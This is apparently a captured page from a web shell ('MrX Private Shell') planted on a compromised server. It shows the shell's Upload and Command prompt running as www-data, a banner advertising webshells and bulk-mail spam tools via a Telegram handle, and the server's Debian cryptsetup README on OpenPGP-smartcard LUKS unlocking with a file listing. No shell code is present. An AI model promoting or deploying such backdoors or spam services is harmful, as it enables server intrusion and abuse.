__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
Using an OpenPGP smartcard for LUKS dm-crypt devices in Debian
==============================================================

The Debian cryptsetup package provides the keyscript `decrypt_gnupg-sc`
for setups with a keyfile that is encrypted using an OpenPGP smartcard.

The following example assumes that you store the encrypted keyfile in
`/etc/keys/cryptkey.gpg`. LUKS device is `/dev/<luks_device>`.

First, you'll have to create the keyfile and encrypt it with your key
0xDEADBEEF:

    dd if=/dev/random bs=1 count=256 | gpg --recipient 0xDEADBEEF \
            --output /etc/keys/cryptkey.gpg --encrypt

Next the LUKS device needs to be formated with the key. For that, the
`decrypt_gnupg-sc` keyscript can be used:

    /lib/cryptsetup/scripts/decrypt_gnupg-sc /etc/keys/cryptkey.gpg | \
            cryptsetup --key-file=- luksFormat /dev/<luks_device>

In order to unlock the encrypted LUKS device automatically during boot process,
add the following to `/etc/crypttab`:

    cdev1   /dev/<luks_device>      /etc/keys/cryptkey.gpg luks,keyscript=decrypt_gnupg-sc

In order to avoid data loss if the smartcard is damaged or lost, you may
want to decrypt `/etc/keys/cryptkey.gpg` and store the plaintext in a safe
place.  Or alternatively, use another slot with your backup key:

    cryptsetup luksAddKey /dev/<luks_device> /path/to/backup.key


Decrypting the keyfile at initramfs stage
-----------------------------------------

If the device is to be unlocked at initramfs stage (such as for the root
FS or the resume device), you need to copy the public part of the
encryption key to `/etc/cryptsetup-initramfs/pubring.gpg`:

    gpg --export 0xDEADBEEF >/etc/cryptsetup-initramfs/pubring.gpg

Then the provided initramfs hooks should do all additionally required
work for you when the initramfs is created or updated.

Be warned though, that for such devices the OpenPGP encrypted key is copied
to the initramfs by the initramfs cryptgnupg-sc hook. If you don't want this,
you should take a look at the initramfs cryptgnupg-sc hook, which is located
at `/usr/share/initramfs-tools/hooks/cryptgnupg-sc`.

Moreover, note that unlocking at initramfs stage is currently not compatible
with plymouth or other bootsplash, as a curses-based prompt is used for PIN
entry.

 -- Guilhem Moulin <guilhem@guilhem.org>  Sun, 23 Sep 2018 03:28:31 +0200

Filemanager

Name Type Size Permission Actions
examples Folder 0755
AUTHORS File 137 B 0644
FAQ.md.gz File 49.58 KB 0644
Keyring.txt File 3.81 KB 0644
LUKS2-locking.txt File 3.87 KB 0644
NEWS.Debian.gz File 660 B 0644
README.Debian.gz File 5.61 KB 0644
README.debug File 2.67 KB 0644
README.gnupg File 1.8 KB 0644
README.gnupg-sc File 2.3 KB 0644
README.keyctl File 3.5 KB 0644
README.md.gz File 2.45 KB 0644
README.opensc.gz File 2.17 KB 0644
changelog.Debian.gz File 16.67 KB 0644
copyright File 11.11 KB 0644
v1.0.7-ReleaseNotes File 2.85 KB 0644
v1.1.0-ReleaseNotes.gz File 2.22 KB 0644
v1.1.1-ReleaseNotes File 1.75 KB 0644
v1.1.2-ReleaseNotes File 1.56 KB 0644
v1.1.3-ReleaseNotes File 482 B 0644
v1.2.0-ReleaseNotes.gz File 2.08 KB 0644
v1.3.0-ReleaseNotes.gz File 2.08 KB 0644
v1.3.1-ReleaseNotes File 421 B 0644
v1.4.0-ReleaseNotes.gz File 2.2 KB 0644
v1.4.1-ReleaseNotes File 889 B 0644
v1.4.2-ReleaseNotes File 1.6 KB 0644
v1.4.3-ReleaseNotes File 2.31 KB 0644
v1.5.0-ReleaseNotes.gz File 3.24 KB 0644
v1.5.1-ReleaseNotes File 1.26 KB 0644
v1.6.0-ReleaseNotes.gz File 3.73 KB 0644
v1.6.1-ReleaseNotes File 1.02 KB 0644
v1.6.2-ReleaseNotes File 989 B 0644
v1.6.3-ReleaseNotes File 1.82 KB 0644
v1.6.4-ReleaseNotes File 1.99 KB 0644
v1.6.5-ReleaseNotes File 2.42 KB 0644
v1.6.6-ReleaseNotes File 1.07 KB 0644
v1.6.7-ReleaseNotes File 3.26 KB 0644
v1.6.8-ReleaseNotes File 2.02 KB 0644
v1.7.0-ReleaseNotes File 3.03 KB 0644
v1.7.1-ReleaseNotes File 1.34 KB 0644
v1.7.2-ReleaseNotes File 1.45 KB 0644
v1.7.3-ReleaseNotes File 811 B 0644
v1.7.4-ReleaseNotes File 661 B 0644
v1.7.5-ReleaseNotes File 833 B 0644
v2.0.0-ReleaseNotes.gz File 9.5 KB 0644
v2.0.1-ReleaseNotes.gz File 2.17 KB 0644
v2.0.2-ReleaseNotes.gz File 1.95 KB 0644
v2.0.3-ReleaseNotes.gz File 2.39 KB 0644
v2.0.4-ReleaseNotes.gz File 2.27 KB 0644
v2.0.5-ReleaseNotes.gz File 2.02 KB 0644
v2.0.6-ReleaseNotes.gz File 1.91 KB 0644
v2.1.0-ReleaseNotes.gz File 3.41 KB 0644
v2.2.0-ReleaseNotes.gz File 4.47 KB 0644
v2.2.1-ReleaseNotes File 1.38 KB 0644
v2.2.2-ReleaseNotes File 2.1 KB 0644
v2.3.0-ReleaseNotes.gz File 3.18 KB 0644
v2.3.1-ReleaseNotes File 1.73 KB 0644
v2.3.2-ReleaseNotes File 1.47 KB 0644
v2.3.3-ReleaseNotes File 1.36 KB 0644
v2.3.4-ReleaseNotes.gz File 1.95 KB 0644
v2.3.5-ReleaseNotes.gz File 3.06 KB 0644
v2.3.6-ReleaseNotes File 2.26 KB 0644
v2.4.0-ReleaseNotes.gz File 4.65 KB 0644
v2.4.1-ReleaseNotes File 1.9 KB 0644
v2.4.2-ReleaseNotes File 1.34 KB 0644
v2.4.3-ReleaseNotes.gz File 1.95 KB 0644
v2.5.0-ReleaseNotes.gz File 4.35 KB 0644
v2.6.0-ReleaseNotes.gz File 3.62 KB 0644
v2.6.1-ReleaseNotes File 2.06 KB 0644
v2.7.0-ReleaseNotes.gz File 6.5 KB 0644
Filemanager